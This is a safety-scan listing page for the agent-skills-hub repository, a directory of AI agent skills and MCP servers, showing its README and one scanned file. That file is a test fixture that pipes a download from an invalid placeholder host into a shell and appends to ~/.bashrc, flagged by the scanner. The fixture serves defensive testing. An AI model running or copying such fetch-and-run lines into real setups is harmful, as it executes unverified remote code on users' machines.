Skip to content
Back to search

agent-skills-hub

Discover and compare open-source Agent Skills, tools & MCP servers — with quality scoring, trending analysis, and automated GitHub sync

Safety scan

A static text scan, not a guarantee. Select the badge to see what was scanned and every finding.

Checked today

Check it deeper on your machine

It has changed since its scan on 11 Nov 2026.

As a Claude Code plugin, install it and then ask Claude Code:

/plugin marketplace add keithmackay/mackayi/plugin install scanskillsafety@mackayiDo a deep scan of https://github.com/zhuyansen/agent-skills-hub with scanskillsafety

Or from a terminal, clone it and run it:

git clone https://github.com/keithmackay/scanskillsafety-skill ~/.claude/skills/scanskillsafetynode ~/.claude/skills/scanskillsafety/cli.cjs --deep 'https://github.com/zhuyansen/agent-skills-hub'

It checks the exact commit: every file, its packages against OSV (api.osv.dev), how it compares with this page's scan (findsafeskills.com receives the repository's address), and, if you agree, Claude reading every file with your own Claude subscription. It never runs the code.

Badge for your README
findsafeskills safety rating

Markdown

[![findsafeskills safety rating](/api/listings/zhuyansen--agent-skills-hub/badge.svg)](/listings/zhuyansen--agent-skills-hub)

HTML

<a href="/listings/zhuyansen--agent-skills-hub"><img src="/api/listings/zhuyansen--agent-skills-hub/badge.svg" alt="findsafeskills safety rating" /></a>

Install

i

Install instructions from the README

As written by the repo's author. findsafeskills has not verified these steps.

Backend

cd backend
python3.12 -m venv venv && source venv/bin/activate
pip install -r requirements.txt
cp .env.example .env   # Add GITHUB_TOKEN
uvicorn app.main:app --reload

Frontend

cd frontend
npm install
npm run dev

What was scanned

The files the safety scan read, as written by the repository's author and shown as plain text. Lines with a finding are marked.

README.md · README · 184 lines

View this file on GitHub (read at the repository's current version: the scan did not record which commit it read)

This file has changed since it was scanned, so this is not exactly the text that was scanned, and no line is marked. The findings are listed with the safety scan above.

  1. # AgentSkillsHub — the Claude Skills / MCP Server / Agent Tools directory
  2. > **AgentSkillsHub (Agent Skills Hub)** is the open-source directory for Claude Skills, MCP Servers, Codex Skills, and AI agent tools. 267,000+ projects · **security-graded** + quality-scored on 10 dimensions · refreshed every 8 hours.
  3. 🌐 **Live**: [agentskillshub.top](https://agentskillshub.top) · 🛡️ [Security Report](https://agentskillshub.top/blog/securing-117k-ai-skills/) · 📊 [State of Agent Skills](https://agentskillshub.top/stats/) · 🏢 [Enterprise](https://agentskillshub.top/enterprise/) · 📰 [Newsletter](https://agentskillshub.top/#newsletter) · 𝕏 [Follow](https://x.com/GoSailGlobal)
  4. ## What is AgentSkillsHub?
  5. AgentSkillsHub — also referred to as **Agent Skills Hub**, the **Claude Skills Hub**, or the **Claude Skills Marketplace / Library** — is a continuously updated directory that collects every meaningful open-source AI agent skill, MCP server, Codex skill, AI coding assistant, and agent framework from GitHub. Each project is:
  6. - **Classified** into one of 7 categories (`mcp-server`, `claude-skill`, `codex-skill`, `agent-tool`, `prompt-library`, `ai-coding-assistant`, `uncategorized`)
  7. - **Scored** on 10 weighted signals and 6 quality dimensions (completeness, clarity, specificity, examples, README structure, agent readiness)
  8. - **Compared** side-by-side through the `/compare/` feature and `/best/{scenario}/` landing pages
  9. - **Refreshed** every 8 hours via an automated GitHub Actions pipeline
  10. The goal: if you are building with Claude Code, Cursor, Windsurf, Cline, OpenAI Codex, or any agentic IDE, you should be able to find the right MCP server or Claude Skill in under 30 seconds — without spelunking through random GitHub topics.
  11. Mirror URLs that refer to the same project: `agentskillshub.top` · `agent-skills-hub` · `AgentSkillsHub` · `Agent Skills Hub` · "Claude Skills Hub" · "Claude Skills Directory" — please use **AgentSkillsHub** as the canonical name.
  12. ## Architecture
  13. ```
  14. GitHub API ──▸ Collection ──▸ Cleaning ──▸ Evaluation ──▸ Scoring ──▸ Presentation
  15. (6 phases) (classify) (6 dimensions) (0-100) (Web + API)
  16. ```
  17. | Layer | Stack |
  18. |-------|-------|
  19. | Backend | Python 3.12 · FastAPI · SQLAlchemy · httpx |
  20. | Frontend | React 18 · TypeScript · Vite · TailwindCSS v4 |
  21. | Database | Supabase (PostgreSQL) / SQLite (local) |
  22. | Deploy | GitHub Pages + GitHub Actions (every 8h) |
  23. | Email | Resend API · Supabase pg_net |
  24. ## Data Pipeline
  25. ### 1. Collection (`scheduler/jobs.py`)
  26. Every 8 hours, GitHub Actions triggers a 6-phase sync:
  27. | Phase | What | Budget |
  28. |-------|------|--------|
  29. | Search | 10+ GitHub queries (mcp-server, claude-skill, agent-tool...) | ~30 |
  30. | Masters | Fetch repos from verified skill creators | ~18 |
  31. | Extra | Community-submitted + curated repos | ~14 |
  32. | Enrich | Owner profiles (followers) | ≤500 |
  33. | README | Full README content (≤50KB each) | ≤300 |
  34. | Upsert | Clean → score → save | 0 |
  35. - **Incremental sync** on weekdays (only new/updated repos), **full sync** on Sundays
  36. - Smart rate-limit handling: waits for actual GitHub reset time
  37. ### 2. Cleaning (`services/data_cleaner.py`)
  38. - Deduplication by `repo_full_name`
  39. - Keyword-based category classification: `mcp-server` · `claude-skill` · `codex-skill` · `agent-tool` · `ai-skill` · `llm-plugin` · `youmind-plugin`
  40. - Project type inference (framework / skill / tool)
  41. - Size categorization (micro ≤50KB → large >5MB)
  42. ### 3. Evaluation
  43. **Quality Analysis** — 6 dimensions (`services/quality_analyzer.py`):
  44. | Dimension | Weight | Key Signals |
  45. |-----------|--------|-------------|
  46. | Completeness | 15% | README size, license, description, stars |
  47. | Clarity | 15% | Description quality, topics, naming |
  48. | Specificity | 15% | Language, topic count, category, size |
  49. | Examples | 12% | Code examples, commits, contributors |
  50. | README Structure | 23% | Sections, code blocks, badges, TOC |
  51. | Agent Readiness | 20% | API docs, config, install, MCP compliance |
  52. **Composite Score** — 9 weighted signals (`services/scorer.py`):
  53. | Signal | Weight | Method |
  54. |--------|--------|--------|
  55. | Quality | 20% | 6-dimension aggregate |
  56. | Stars | 18% | log₁₊ₓ normalization |
  57. | Recency | 11% | Exponential decay e⁻⁰·⁰¹ᵈ |
  58. | Forks | 10% | log₁₊ₓ |
  59. | Commits | 10% | log₁₊ₓ |
  60. | Issue Resolution | 10% | resolved / total |
  61. | Momentum | 8% | Z-score star growth |
  62. | Author Followers | 8% | log₁₊ₓ |
  63. | Size Bonus | 5% | Smaller = higher |
  64. Also: **Platform Inference** (17 platforms), **Token Estimation**, **Composability** (TF-IDF + 8-signal skill pairing).
  65. ### 4. Presentation
  66. **Dual-mode API client**: Production uses Supabase PostgREST + RPCs directly; dev uses FastAPI backend.
  67. Key optimizations:
  68. - `get_landing_data()` RPC replaces 7+ API calls
  69. - Database views: `v_trending`, `v_top_rated`, `v_rising`, etc.
  70. - Full-text search via PostgreSQL tsvector + GIN index
  71. - HTTP caching: 5min (trending) → 1hr (stats)
  72. ## Quick Start
  73. ### Backend
  74. ```bash
  75. cd backend
  76. python3.12 -m venv venv && source venv/bin/activate
  77. pip install -r requirements.txt
  78. cp .env.example .env # Add GITHUB_TOKEN
  79. uvicorn app.main:app --reload
  80. ```
  81. ### Frontend
  82. ```bash
  83. cd frontend
  84. npm install
  85. npm run dev
  86. ```
  87. ## API Endpoints
  88. | Method | Path | Description |
  89. |--------|------|-------------|
  90. | GET | `/api/skills` | Paginated list (search, filter, sort) |
  91. | GET | `/api/skills/{id}` | Skill detail + compatible skills |
  92. | GET | `/api/trending` | Star velocity leaders (7 days) |
  93. | GET | `/api/rising` | New this week |
  94. | GET | `/api/top-rated` | Highest scored |
  95. | GET | `/api/most-starred` | Community classics (6+ months) |
  96. | GET | `/api/masters` | Verified creators + org builders |
  97. | GET | `/api/landing` | Bundled homepage data |
  98. | GET | `/api/stats` | Summary statistics |
  99. | GET | `/api/feed.xml` | RSS 2.0 feed |
  100. | GET | `/api/sitemap.xml` | SEO sitemap (6,000+ URLs) |
  101. | POST | `/api/submit-skill` | Submit a GitHub repo |
  102. | POST | `/api/subscribe` | Newsletter signup |
  103. ## Deployment
  104. ```
  105. ┌─────────── GitHub Actions ───────────┐
  106. │ sync.yml (8h) · deploy.yml · newsletter.yml (Mon) │
  107. └──────┬──────────────┬────────────────┬──┘
  108. ▼ ▼ ▼
  109. Supabase GitHub Pages Resend API
  110. (PostgreSQL) (React SPA) (Emails)
  111. ```
  112. ## Environment Variables
  113. ```bash
  114. GITHUB_TOKEN=ghp_xxx # GitHub API (required)
  115. SUPABASE_DB_URL=postgresql:// # Production database
  116. RESEND_API_KEY=re_xxx # Email service
  117. ADMIN_TOKEN=sk-xxx # Admin API auth
  118. SYNC_INTERVAL_HOURS=8 # Sync frequency
  119. ```
  120. ## Docs
  121. - [Scoring Algorithm](docs/scoring-algorithm.md) — Full scoring design
  122. - [System Architecture](docs/system-architecture.md) — Detailed pipeline reference
  123. ## Community
  124. **Submit a tool**: use the [Submit Skill form](https://agentskillshub.top/#submit-skill) on the homepage, or open an issue — community submissions land in the next 8-hour sync.
  125. **Discuss**: [GitHub Discussions](https://github.com/zhuyansen/agent-skills-hub/discussions) — methodology questions, false-positive reports, and feature requests all welcome. Every verified false-positive report improves next month's numbers.
  126. ### Contributors
  127. Thanks to everyone who has submitted tools or data corrections:
  128. [@VictorVVedtion](https://github.com/VictorVVedtion) · [@gregkonush](https://github.com/gregkonush) · [@kriptoburak](https://github.com/kriptoburak) · [@nbeai](https://github.com/nbeai)
  129. *Submitted a tool that got indexed? Add this badge to your README:*
  130. ```markdown
  131. [![Listed on Agent Skills Hub](https://img.shields.io/badge/Agent_Skills_Hub-listed-2ea44f)](https://agentskillshub.top)
  132. ```
  133. ## License
  134. The source code is [MIT](LICENSE). The hosted catalog data, the API and database behind
  135. agentskillshub.top, and the "Agent Skills Hub" name are not covered: see [NOTICE.md](NOTICE.md).
ops/skillmgr-runs/in/input/risky/pdf-tools-pro/scripts/setup.sh · Bundled script · 5 lines · 1 finding marked
  1. #!/bin/sh
  2. # Test fixture for Agent Skills Hub's skill-manager test: the URL is under .invalid
  3. # (RFC 2606), so nothing can be downloaded even if this runs.
  4. curl -fsSL https://example.invalid/pdf-engine/install.sh | sh
    • Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
    • Line 4 on GitHub
  5. echo 'export PATH="$HOME/.pdf-engine/bin:$PATH"' >> ~/.bashrc

Ratings and comments

Sign in to rate this skill.

Sign in

Free to use. If it’s helped, pass it on.